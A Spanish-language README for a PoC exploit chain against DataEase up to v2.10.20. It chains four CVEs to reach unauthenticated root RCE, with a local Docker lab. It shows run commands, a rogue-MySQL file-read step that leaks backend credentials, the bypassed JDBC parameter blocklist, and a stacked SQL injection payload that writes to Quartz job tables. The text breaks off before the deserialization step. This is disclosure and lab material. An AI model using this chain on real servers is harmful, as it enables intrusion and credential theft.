Exploit automatizado para DataEase: cadena de 4 vulnerabilidades (omisión de autenticación, omisión de lista de bloqueo JDBC, inyección SQL, deserialización de Java) que logra RCE no autenticado. Incluye laboratorio Docker y PoC en Python.
Bypass de autenticación → bypass de la lista negra de JDBC (lectura arbitraria de archivos) → inyección SQL → Deserialización de Java en Quartz → ejecución remota de código como
root.Laboratorio local autocontenido (Docker) + PoC funcional. Corregido en DataEase v2.10.21.
DataEase es una popular plataforma de BI / visualización de datos de código abierto (Java / Spring Boot). Las versiones ≤ v2.10.20 son vulnerables a una cadena de cuatro problemas que, en conjunto, convierten una instancia de DataEase accesible desde la red en ejecución remota de código:
| # | CVE | Clase | Qué nos proporciona |
|---|---|---|---|
| 1 | CVE-2026-23958 | Bypass de autenticación (CWE-287/CWE-347) | Actuar como admin — sin necesidad de una firma válida |
| 2 | CVE-2026-40899 | Bypass de la lista negra de JDBC (CWE-20) | Lectura arbitraria de archivos → robar credenciales de la base de datos del backend |
| 3 | CVE-2026-40900 | Inyección SQL / consultas apiladas (CWE-89) | Escribir en la propia base de datos de DataEase |
| 4 | CVE-2026-40901 | Deserialización de Java (CWE-502) | RCE como root a través del almacén de trabajos de Quartz |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
Todo se ejecuta localmente en Docker. Sin servicios externos, sin objetivo en internet.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
Ponlo en marcha:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (prefijo de API /de2api)admin / DataEase@123456Requisitos en el host: Docker, Python 3.8+ con cryptography (pip install -r exploit/requirements.txt), y el CLI de Docker (se usa para ejecutar ysoserial en un contenedor desechable eclipse-temurin:8-jre para construir el gadget).
DataEase autentica las peticiones en un filtro de servlet, TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). Lee el token y llama a TokenUtils.validate(), que termina en:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() nunca verifica la firma. Las únicas comprobaciones son: el token tiene ≥ 100 caracteres y lleva un claim uid de tipo entero. Así que cualquier JWT que diga "uid": 1 hace que la petición se ejecute como el administrador integrado (uid 1).
Hay un segundo filtro (CommunityTokenFilter) que sí verifica una firma para la cabecera X-DE-TOKEN — pero solo bajo condiciones específicas, y la clave de firma es o un secreto por usuario o, en una compilación comunitaria simple, el MD5 de la contraseña predeterminada hardcodeada DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). La ruta complementaria de enlace compartido (X-DE-LINK-TOKEN) está firmada con la clave hardcodeada link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) y, antes del parche, también se decodificaba sin verificación.
Efecto neto: un atacante puede generar un token de administrador. de_common.py incluye forge_jwt(), que produce el token sin firma; el PoC también admite simplemente iniciar sesión con las omnipresentes credenciales predeterminadas para obtener un X-DE-TOKEN totalmente válido para el resto de la cadena.
El parche (commit 00c169caa) hace que TokenFilter busque el secreto real por recurso y realmente llame a verifier.verify(...).
Cuando añades una fuente de datos MySQL, DataEase rechaza un conjunto de parámetros JDBC peligrosos. Esa lista negra vive en un campo Lombok @Data:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
Debido a que @Data auto-genera setIllegalParameters(...), Jackson lo poblará encantado a partir de JSON controlado por el atacante. Enviar "illegalParameters": [] en el blob de configuration (codificado en Base64) vacía la lista negra antes de que se compruebe. Entonces podemos apuntar la fuente de datos a un servidor MySQL malicioso con allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ y leer archivos arbitrarios del host de DataEase mediante el mecanismo MySQL LOCAL INFILE.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
Resultado — DataEase nos entrega las credenciales de su propia base de datos del backend:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
Esas credenciales son las que un atacante usa para apuntar el paso 3 a la propia base de datos de DataEase. El parche (commit 16a950f96) añade @JsonIgnore a cada campo illegalParameters para que ya no pueda establecerse desde JSON.
previewSqlPOST /de2api/datasetData/previewSql toma una cadena SQL codificada en Base64 y, sin validación de una sola sentencia, la envuelve como una subconsulta:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
Los comentarios se eliminan, pero podemos equilibrar los paréntesis y usar ; para ejecutar sentencias adicionales. Debido a que controlamos la fuente de datos, habilitamos allowMultiQueries=true (no está en la lista negra en v2.10.20), por lo que las consultas apiladas se ejecutan:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
que el servidor ensambla en tres sentencias reales. Apuntar esta fuente de datos a la base de datos propia de DataEase (credenciales del paso 2) nos permite escribir en sus tablas de Quartz. Parches: 15611593b añade allowMultiQueries a la lista negra y e89059d88 endurece el flujo de guardado/motor.
DataEase programa un trabajo recurrente de Quartz de "comprobación del estado de la fuente de datos":